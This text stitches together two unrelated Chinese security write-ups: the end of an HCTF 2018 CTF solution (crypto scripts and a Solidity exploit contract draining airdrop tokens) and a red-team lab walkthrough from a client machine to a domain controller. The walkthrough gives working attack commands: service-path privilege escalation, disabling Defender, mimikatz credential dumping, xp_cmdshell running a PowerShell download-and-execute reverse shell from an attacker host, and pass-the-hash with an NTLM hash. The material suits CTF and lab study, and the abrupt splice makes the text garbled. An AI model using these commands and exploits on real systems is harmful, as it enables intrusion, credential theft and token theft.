0x2D, 0x20, 0x00, 0x35, 0x32, 0x34, 0x36, 0x30,0x20, 0x00, 0x29, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x34, 0x39,0x34, 0x32, 0x38, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x39, 0x34,0x36, 0x38, 0x36, 0x20, 0x00, 0x29, 0x20, 0x29, 0x20, 0x29,0x20, 0x29, 0x20, 0x29, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x31,0x36, 0x35, 0x33, 0x20, 0x29, 0x20, 0x00, 0x2D, 0x20, 0x36,0x35, 0x32, 0x31, 0x37, 0x20, 0x29, 0x20, 0x00, 0x29, 0x20,0x29, 0x20, 0x2D, 0x20, 0x34, 0x33, 0x38, 0x32, 0x37, 0x20,0x29, 0x20, 0x00, 0x36, 0x36, 0x35, 0x36, 0x32, 0x20, 0x29,0x20, 0x29, 0x20, 0x00 };
unsigned char *p;
int address[] = { 0x140 ,0x14C ,0x153 ,0x162 ,0x177 ,0x18B ,0x1A9 ,0x1C8 ,0x1D3 ,0x1EB ,0x1FE ,0x25E ,0x207,0x21C,0x227,0x246,0x261,0x270,0x28B,0x298,0x2A3,0x2B1,0x25C,0x2BA,0x2C5,0x2D0,0x2D7,0x2F2,0x307,0x310,0x25E,0x327,0x346,0x3DC,0x34D,0x364,0x373,0x38F,0x3A6,0x3B3,0x3BF,0x3D0,0x3DF,0x3EF,0x400,0x44B,0x413,0x42C,0x43B,0x44F,0x452,0x490,0x45F,0x46C,0x47D,0x48E,0x497,0x49E,0x4B5,0x4CB,0x445,0x445,0x4D6,0x44D,0x44D,0x494,0x4E5,0x44F };
int i;
for (i = 0; i < 68; i++)
{
p = &secret[0] + address[i]-0x140;
cout << p;
}
得到完整的算术表达式，用python算出flag
a=44646 + ( 64094 + ( 71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + ( 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * ( ( 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + ( 23142 * ( 31895 + ( 62386 * ( 12179 + ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) ) ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) ) - 70643 ) ) ) ) - 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) - 43827 ) ) ) ) ) - 66562 ) ) )
s=hex(a)[2:-1].decode('hex')
print(s)
> flag:hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}
# Crypto
## xor game
加密方式是一个key对明文循环异或。可以通过统计词频逐步确定key的长度，key每一字节可能的字符，并最终确定key。
详见：<https://findneo.github.io/171005NuptVigenereWP/>
> flag:hctf{xor_is_interesting!@#}
## xor?rsa
gcd(e,(p-1)*(q-1)) == 1 或 5
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
e=5
g1 = x**e - c1
g2 = (x + y)**e - c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
roots = h.small_roots(X=2**40, beta=0.3)
assert roots, "Failed1"
print roots
diff = roots[0]
if diff > 2**32:
^Idiff = -diff
^Ic1, c2 = c2, c1
print "Difference:", diff
x = PRx.gen() # otherwise write xn
g1 = x**e - c1
g2 = (x + diff)**e - c2
# gcd
while g2:
g1, g2 = g2, g1 % g2
g = g1.monic()
assert g.degree() == 1, "Failed 2"
# g = xn - msg
msg = -g[0]
# convert to str
h = int(msg)
print h
print h+diff+int(n)
print pow(h,e,n)==c2
print pow(h+diff+int(n),e,n)==c1
[555991320628]
Difference: 30290716620841793899146321994568496023252750053596786876611475641947678118979038294637697826463401155985354968691924997404322605452761001870059955726773324447235980051453346857315677224128047844328773148916021249443603911449637550383591704762386567005058018282308230728051353460058754497672179057700421161074247576457866689070241760427131473043482158810401561313321107974516682297500997022575554884396342862329278222526955343597739332964020816251046425193373642417717381045917123341522209552123269466378004786062763182259628931179308017861705958534248179294164338076634721107705015038219232572426688683766371284897691
2932093288739759017131922832119390508643918321984410853
2583475209918998219801122954379479992650705870599189051232760719646159719619265755438890096354620462669930665081971091894103757999670741311927625969755788747121762969679475351111489399600154562955287885202707223159968667071096275208629651189581238338521064833101272863069918738346837635731886529517213961300297787649206078555692261069713014027837983048971538947661147625228754443387901174007943169362738696168181450776372832045356985606263519804479231156806800627979267259445511274742157175638821617100281049528076791498180668899828383550671492688471895766846725
29320932887397590171319228321193905086439183219844108532583475209918998219801122954379479992650705870599189051232760719646159719619265755438890096354620462669930665081971091894103757999670741311927625969755788747121762969679475351111489399600154562955287885202707223159968667071096275208629651189581238338521064833101272863069918738346837635731886529517213961300297787649206078555692261069713014027837983048971538947661147625228754443387901174007943169362738696168181450776372832045356985606263519804479231156806800627979267259445511274742157175638821617100281049528076791498180668899828383550671492688471339775526097
True
True
m1>n
$ nc rsa.2018.hctf.io 10086
Welcome to flag getting system
give me your token > uvm73jg2AFMECo71DIZRZh39MRqFOI2w
n=25592302757401106056280234286012383062484235707312989164780308492200872167178574218000602787441725428426717090949654793218739897595107846312672513664085694001801608518590887961938014572669134367079646488310507850336050513025245626467377203241863607999325036917193601505657352182776079774009206570703186219337621551483393737290768330888410101854796481874297267599196619674335794044792069495519108109223425797503203570902994567568592084357934714964501535669657986930473369655871619588840794482884419083552554342422741496026024222914198234788143213719654823547100803532256499706071071498660891381652493208839656686738591
c1=11690907386363649212644384569199890345770981654517160939164832907826289543551982063610220071961849700921425395140710365953159185666787437146246103625442409812945763501692710328379204747353203817255953902210586779053720571365060460732531241991577093405485858643711950523138375131702989487907339644510108399052427817874710822165262868315224968612849619299795358325603907678116650332797927084567328392462191457872943785013598632574175405870522070537466045471567735827773482872427192699293399500104479883708854100100037846415639145150417103704144637686300025634446944846253236091651808972028854707078113064878063321580768
c2=23770070496907514366297412141037667449588865437018376514390695607679676986001301621556277980415958296151188882273930436528902856816100291709779231712294522684117809069750177322126984516684260974647430093063414228366055366719654277299019192226831695082426012957631732846185788410351093879858771697093954122318192675776953344922612983099660105822719741335067051112337020739320099859836973578421498466368851839142137257484447051174094093504567507429730727091330591571603022555924970273436929750572410470501844270943580821467782713936322388728653073754746083727342190374906283014672336536995144296014243057684586151967259
now give me you answer
19192367044417009574476120231142453777715164401167583116818642067057559425607428214230005291096592117565507572856314816467238405776265673021259189682385525688967473815563074054515033828997755186215692527330397977283770408982658352080214663787539650267242917359134595104066485839193632212316099201917721667135306930187402153500605057513457619657478967568643046456602317538660008316345868692641873925382002676220521051279760109657536301500377507578497888384179794081375588346813744918914579093924393594445064745990498754455457360554748737767889831035781211814570683813231972744037861524811042088953081214510724634343988
19192367044417009574476120231142453777715164401167583116818642067057559425607428214230005291096592117565507572856314816467238405776265673021259189682385525688967473815563074054515033828997755186215692527330397977283770408982658352080214663787539650267242917359134595104066485839193632212316099201917721667135306930187402153500605057513457619657478967568643046456602317538660008316345868692641873925382002676220521051279760109657536301500377507578497888384179794081375588346813744918914579093924393594445064745990498754455457360554748737767889831035781211814570683813231972744037861524811042088953081214511375412065022
hctf{1a105ae83a735e0b914f4715aae936b67f297aa424dc10c119ca257ae7f6e508}
当difference很大时，
[650777721034]
Difference: 25592302757401106056280234286012383062484235707312989164780308492200872167178574218000602787441725428426717090949654793218739897595107846312672513664085694001801608518590887961938014572669134367079646488310507850336050513025245626467377203241863607999325036917193601505657352182776079774009206570703186219337621551483393737290768330888410101854796481874297267599196619674335794044792069495519108109223425797503203570902994567568592084357934714964501535669657986930473369655871619588840794482884419083552554342422741496026024222914198234788143213719654823547100803532256499706071071498660891381652493208839005909017557
19192367044417009574476120231142453777715164401167583116818642067057559425607428214230005291096592117565507572856314816467238405776265673021259189682385525688967473815563074054515033828997755186215692527330397977283770408982658352080214663787539650267242917359134595104066485839193632212316099201917721667135306930187402153500605057513457619657478967568643046456602317538660008316345868692641873925382002676220521051279760109657536301500377507578497888384179794081375588346813744918914579093924393594445064745990498754455457360554748737767889831035781211814570683813231972744037861524811042088953081214511375412065022
19192367044417009574476120231142453777715164401167583116818642067057559425607428214230005291096592117565507572856314816467238405776265673021259189682385525688967473815563074054515033828997755186215692527330397977283770408982658352080214663787539650267242917359134595104066485839193632212316099201917721667135306930187402153500605057513457619657478967568643046456602317538660008316345868692641873925382002676220521051279760109657536301500377507578497888384179794081375588346813744918914579093924393594445064745990498754455457360554748737767889831035781211814570683813231972744037861524811042088953081214510724634343988
True
True
m2 = h
m1 = h+diff+int(n)
搞定
> flag:hctf{1a105ae83a735e0b914f4715aae936b67f297aa424dc10c119ca257ae7f6e508}
# blockchain
## bet2loss
描述
0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source
D2GBToken is onsale. Now New game is coming.
We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get
flag.
URL <http://bet2loss.2018.hctf.io>
合约部署在ropsten测试网络，地址为0x006b9bc418e43e92cf8d380c56b8d4be41fda319，而且是开源的。
访问网站
Welcome to Bet2Loss Game!
only winner can get flag!
1、Bet2Loss Game is based on Ropsten. open source on xxx.
2、Every New gamer will airdrop 1000 B2GB for betting.
3、Game Rule: Set a modulo (2 - 40), guess a number (0-(modulo-1)), and set a betnumber (1 - balanceOf(you) and less than 100000). If you win, you will get betnumber*modulo B2GB.
4、Example: set 2 as modulo, guess 1, and bet 100 B2GB. if 1 == random_number%modulo, you will get 100*2, which is 200 B2GB.
5、Ahhhh, if balanceOf(you) > 10000000, you can use the function PayForFlag. Admin will post the flag to your email.
ps: you need install a eth wallet, just like metamask in chrome webstore and a little test eth for gasprice.
ps: you can get the test eth from every ether faucet.(just like https://faucet.metamask.io/)
这个页面里面可以下注，进行游戏（ps: 一看参数就知道是参考dice2win这个游戏）
每个新玩家空投1000 B2GB。目标`balanceOf(you) > 10000000`，然后调用`PayForFlag`。
接下来就是找漏洞点了。
直接去区块链浏览器中看智能合约源码。（顺带吐槽下，为啥区块链的题目部署到同一个测试网络中，这样不是直接可以看别的队伍的payload么）。
<https://ropsten.etherscan.io/address/0x006b9bc418e43e92cf8d380c56b8d4be41fda319#code>
源码如下
pragma solidity ^0.4.24;
// Wow. Welcome to hctf2018
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20{
using SafeMath for uint256;
mapping (address => uint256) public balances;
uint256 public _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return balances[owner];
}
function transfer(address _to, uint _value) public returns (bool success){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
}
contract B2GBToken is ERC20 {
string public constant name = "test";
string public constant symbol = "test";
uint8 public constant decimals = 18;
uint256 public constant _airdropAmount = 1000;
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
mapping(address => bool) initialized;
constructor() public {
initialized[msg.sender] = true;
_totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
}
contract Bet2Loss is B2GBToken{
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant MIN_BET = 1;
uint constant MAX_BET = 100000;
uint constant MAX_MODULO = 100;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint betnumber;
uint8 modulo;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event Commit(uint commit);
event GetFlag(
string b64email,
string back
);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external payable {
// airdrop
AirdropCheck();
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
require (balances[msg.sender] >= betnumber, "no more balances");
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (betMask >= 0 && betMask < modulo, "Mask should be within range.");
require (betnumber > 0 && betnumber < 1000, "BetNumber should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");
uint possibleWinAmount;
possibleWinAmount = getDiceWinAmount(betnumber, modulo);
lockedInBets += uint128(possibleWinAmount);
// require (lockedInBets <= balances[owner], "Cannot afford to lose this bet.");
balances[msg.sender] = balances[msg.sender].sub(betnumber);
emit Commit(commit);
bet.betnumber = betnumber;
bet.modulo = uint8(modulo);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(betMask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal) external {
AirdropCheck();
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
settleBetCommon(bet, reveal);
}
function settleBetCommon(Bet storage bet, uint reveal) private {
uint betnumber = bet.betnumber;
uint mask = bet.mask;
uint modulo = bet.modulo;
uint placeBlockNumber = bet.placeBlockNumber;
address gambler = bet.gambler;
require (betnumber != 0, "Bet should be in an 'active' state");
bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
diceWinAmount = getDiceWinAmount(betnumber, modulo);
uint diceWin = 0;
if (dice == mask){
diceWin = diceWinAmount;
}
lockedInBets -= uint128(diceWinAmount);
sendFunds(gambler, diceWin == 0 ? 1 wei : diceWin , diceWin);
}
function getDiceWinAmount(uint amount, uint modulo) private pure returns (uint winAmount) {
winAmount = amount * modulo;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
transfer(beneficiary, amount);
emit Payment(beneficiary, successLogAmount);
}
//flag
function PayForFlag(string b64email) public payable returns (bool success){
require (balances[msg.sender] > 10000000);
emit GetFlag(b64email, "Get flag!");
}
}
空投，自然想到薅羊毛。
这个代码很容易看出是从dice2win改过来的，有的参数都没有删干净。
可以参考[](http://blogs.360.cn/post/Fairness_Analysis_of_Dice2win.html)里面的一些介绍。
dice2win主要的流程如下
1.【庄家承诺】庄家(secretSigner)随机生成某随机数reveal，同时计算commit = keccak256 (reveal)对该reveal进行承诺。然后根据目前区块高度，设置一个该承诺使用的最后区块高度commitLastBlock。 对commitLastBlock和commit的组合体进行签名得到sig，同时把(commit, commitLastBlock,sig)发送给玩家。
2. 【玩家下注】玩家获得(commit, commitLastBlock,sig)后选择具体要玩的游戏，猜测一个随机数r，发送下注交易placeBet到智能合约上进行下注。
3. 【矿工打包】下注交易被以太坊矿工打包到区块block1中，并将玩家下注内容存储到合约存储空间中。
4.【庄家开奖】当庄家在区块block1中看到玩家的下注信息后。则发送settleBet交易公开承诺值reveal到区块链上。合约计算随机数random_number=keccak256(reveal,block1.hash)。如果random_number满足用户下注条件，则用户胜，否则庄家胜。此外游戏还设有大奖机制，即如果某次random_number满足某个特殊值(如88888)，则用户可赢得奖金池中的大奖。
可以简单地说，调用placeBet下注，调用settleBet开奖。
可以看一下我们可以调用哪些函数，直接把源码复制到remix中，部署一下
在右下角，我们可以看到可以调用的函数。
PayForFlag函数用来证明自己完成任务，让后台发flag的证明
placeBet函数下注
settleBet函数结算
setSecretSigner函数设置签名者，只有owner可以调用。（如果commit-reveal机制）
transfer 函数，直接可以从msg.sender账户中向特定地址转账。
简单可以想到，可以创建一个合约，调用这个合约的函数，创建多个临时合约（这里临时指的是，我们临时用一用，用完就不理它了），然后这些临时合约将钱转给某个特定的地址，那么就可以积少成多，达到题目的要求。
回头看看空投在哪里触发，`AirdropCheck()`检查该用户是否新用户，如果是，则空投1000 B2GB。
在placeBet函数和settleBet函数中都有调用。
直接上EXP
pragma solidity ^0.4.24;
// Wow. Welcome to hctf2018
import "browser/bet2loss.sol";
contract KongTouBot{
constructor(address victim, address attack) public payable{
Bet2Loss victimContract = Bet2Loss(victim);
victimContract.settleBet(47080097);
victimContract.transfer(attack, 900);
}
function kill() public{
selfdestruct(0xdea21565e077aa6b5864446e1624f553dc158603);
}
}
contract Bet2LossEXP{
constructor() public {
for(var i=0; i < 50; i++){
KongTouBot tmp = new KongTouBot(0x006b9bc418e43e92cf8d380c56b8d4be41fda319,msg.sender);
//tmp.kill();
}
//selfdestruct(msg.sender);
}
function attack(uint num) public {
for(var i=0; i < num; i++){
KongTouBot tmp = new KongTouBot(0x006b9bc418e43e92cf8d380c56b8d4be41fda319,msg.sender);
//tmp.kill();
}
}
}
`victimContract.settleBet(47080097);`这里需要稍微理解commit-reveal机制，从庄家开奖的交易中找参数，因为这里没有限制只能开奖一次（不过注意，转账是从调用开奖这个函数的人那里转给下注的人）。
然后，疯狂跑就是了，建议用geth接入测试网络，然后web3.js来直接批量操作，不然，如果使用metamask，你会很绝望，要一个一个交易确认。
## ez2win
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event GetFlag(
string b64email,
string back
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _allowed;
mapping(address => bool) initialized;
uint256 public _totalSupply;
uint256 public constant _airdropAmount = 10;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
_balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
AirdropCheck();
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
AirdropCheck();
_allowed[msg.sender][spender] = value;
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
AirdropCheck();
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) {
require(value <= _balances[from]);
require(to != address(0));
require(value <= 10000000);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
}
}
contract D2GBToken is ERC20 {
string public constant name = "D2GB";
string public constant symbol = "D2GB";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_totalSupply = INITIAL_SUPPLY;
_balances[msg.sender] = INITIAL_SUPPLY;
initialized[msg.sender] = true;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
//flag
function PayForFlag(string b64email) public payable returns (bool success){
require (_balances[msg.sender] > 10000000);
emit GetFlag(b64email, "Get flag!");
}
}
给了源码。
拿去部署下，很容易发现_transfer函数可以直接访问，即可以指定任意地址向某地址转账。
直接在交易中找创始人，调用该函数向自己的地址转题目要求i的金额就是。 | 社区文章 |
# 从内网到域控（offensive实战）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
大家好，我是鸿鹄实验室的lengyi，offensive是国外某红队培训时使用的一套环境，被国内的大佬分享给了我，于是便有了此篇文章。
环境信息：
192.168.159.10(offensive-client/win10)
192.168.159.20(offensive-sql-server/windows server 2016)
192.168.159.200(Domain Controller/windows server 2016)
大体拓扑如下：
要求获取域控权限，且只能使用客户机提供的工具以及powershell，已经拥有192.168.159.10的一个用户权限，工具已经放在主机内。
（弱弱的吐槽一句，国外的靶机都是纯英文系统看得难受）
## 本地提权:
首先查看当前的权限：
PS C:>whoami
PS C:> net localgroup administrators
反正手里也只有一个PowerUp了，那就用它吧
PS C:UsersAlice> powershell.exe -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:UsersAlice> cd .Desktop
PS C:UsersAliceDesktop> cd .tools
PS C:UsersAliceDesktoptools> Import-Module .PowerUp.ps1
PS C:UsersAliceDesktoptools> Invoke-AllChecks -verbose //检查所有路径
得到了下面的结果
以及
可以看出，Powerup列出了可能存在问题的服务，并在AbuseFunction中给了接下来的利用方式
我们发现了空格服务路径，这个是可以进行提权的，有兴趣的可以看我之前的文章(<https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/>)
然后执行下面的操作：
PS C:UsersAliceDesktoptools> Write-ServiceBinary -ServiceName VulnService -UserName "offensivealice" -Password Passw0rd!
ServiceName ServicePath Command
----------- ----------- ------- VulnService service.exe net localgroup Administrators offensivealic...
PS C:UsersAliceDesktoptools> cp .service.exe "C:Program FilesVuln ServiceVulnService.exe"
然后查看服务状态：
PS C:UsersAliceDesktoptools> sc qc VulnService
这个时候我们就需要进行重启系统了…
其实这种提权方法在msf里面也是自带的，在msf中我们可以将服务替换成我们msf的木马，那么当服务重启的时候就会返回我们一个system的shell，而powerup便可以通过添加用户的方法来获取一个管理权限的用户，我这里也就相当于变相的进行了提权（若为域用户一定要在域控制器开启的情况下进行）。
重启之后，便获得了权限
## 域枚举：
首先关闭windows自带的defender
PS C:Windowssystem32> Set-MpPreference -disablerealtimeMonitoring $true
读取mimikatz进行以下操作，获取到用户密码：
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
接下来使用powerview进行域枚举，获取域和域控制器的信息：
PS C:>Get-NetDomain
PS C:>Get-NetDomainController
获取当前在域中的用户：
PS C:>Get-NetUser
PS C:>Get-NetUser | select name
获取当前域中的组信息：
PS C:>Get-NetGroup
PS C:>Get-NetGroup | select name
PS C:>Get-NetGroup *admin* | select name
PS C:>Get-NetGroup -UserName Alice
PS C:>Get-NetGroup "Domain Admins"
获取当前域内计算机的名称：
PS C:>Get-NetComputer
PS C:>Get-NetComputer | select name
然后使用PowerUpSQL脚本去枚举域中的SQL SERVER（事先知道拓扑，美滋滋）信息：
PS C:UsersAliceDesktoptoolsPowerUpSQL> Import-Module .PowerUpSQL.ps1
PS C:UsersAliceDesktoptoolsPowerUpSQL> Get-SQLInstanceDomain | Get-SQLConnectionTest
收集sql的相关信息：
PS C:UsersaliceDesktoptoolsPowerUpSQL>Get-SQLServerInfo -Instance Offensive-SQL1
PS C:UsersaliceDesktoptoolsPowerUpSQL>Invoke-SQLAudit -Instance Offensive-SQL1 -verbose
然后使用powerview去查找域内本地用户可以登录的机器：
PS C:UsersaliceDesktoptools>. .Powerview.ps1
PS C:UsersaliceDesktoptools>Find-LocalAdminAccess -verbose
这是因为没有其他的方式去获取sqlserver的认证，只能靠这种方法，如果可以认证，便可以使用windows认证去登录sqlserver
然后我们发现我们可以去登录SQL SERVER那台主机之后，我们便可以使用HeidiSQL去使用windows auth去连接mssql了
## 横向移动：
在sqlserver下的各种操作基本上就是xp_cmdshell和sp_OACreate了，当然也有CLR，我们先看一下第一种：
没关系，我们尝试绕过它，执行以下语句
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'
然后我们使用powercat接受一个shell回来,里面自带的Invoke-PowerShellTcpOneLine_443就是返回一个shell给我们的clinet这个主机，那么我们便使用hfs搭建一个简易的web服务器，使用powercat监听443端口，然后使用mssql调用xp_cmdshell去调用powershell去下载那个脚本然后返回一个powershell给我们这个客户机
powerup执行：
PS C:>cd C:UsersaliceDesktoptools
PS C:UsersaliceDesktoptools> . .powercat.ps1
PS C:UsersaliceDesktoptools> powercat -l -v -p 443 -t 1000
SQL SERVER执行：
EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'
然后执行以下操作，关闭widnows defender然后创建一个临时目录，将我们的mimikatz上传上去
PS C:Windowssystem32> Set-MpPreference -disablerealtimeMonitoring $true
PS C:Windowssystem32> cd c:
PS C:> mkdir temp
PS C:> cd temp
PS C:temp> iwr -Uri http://192.168.159.10/mimikatz.exe -OutFile mimikatz.exe -UseBasicParsing
PS C:temp> iwr -Uri http://192.168.159.10/mimidrv.sys -OutFile mimidrv.sys -UseBasicParsing
PS C:temp> iwr -Uri http://192.168.159.10/mimilib.dll -OutFile mimilib.dll -UseBasicParsing
PS C:temp> dir
然后抓取目标的hash
PS C:temp> .mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
有了目标的hash之后，我们再开启一个powershell，使用mimikatz进行pth攻击，开启一个powershell
sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:fc525c9683e8fe067095ba2ddc971889 /run:powershell.exe
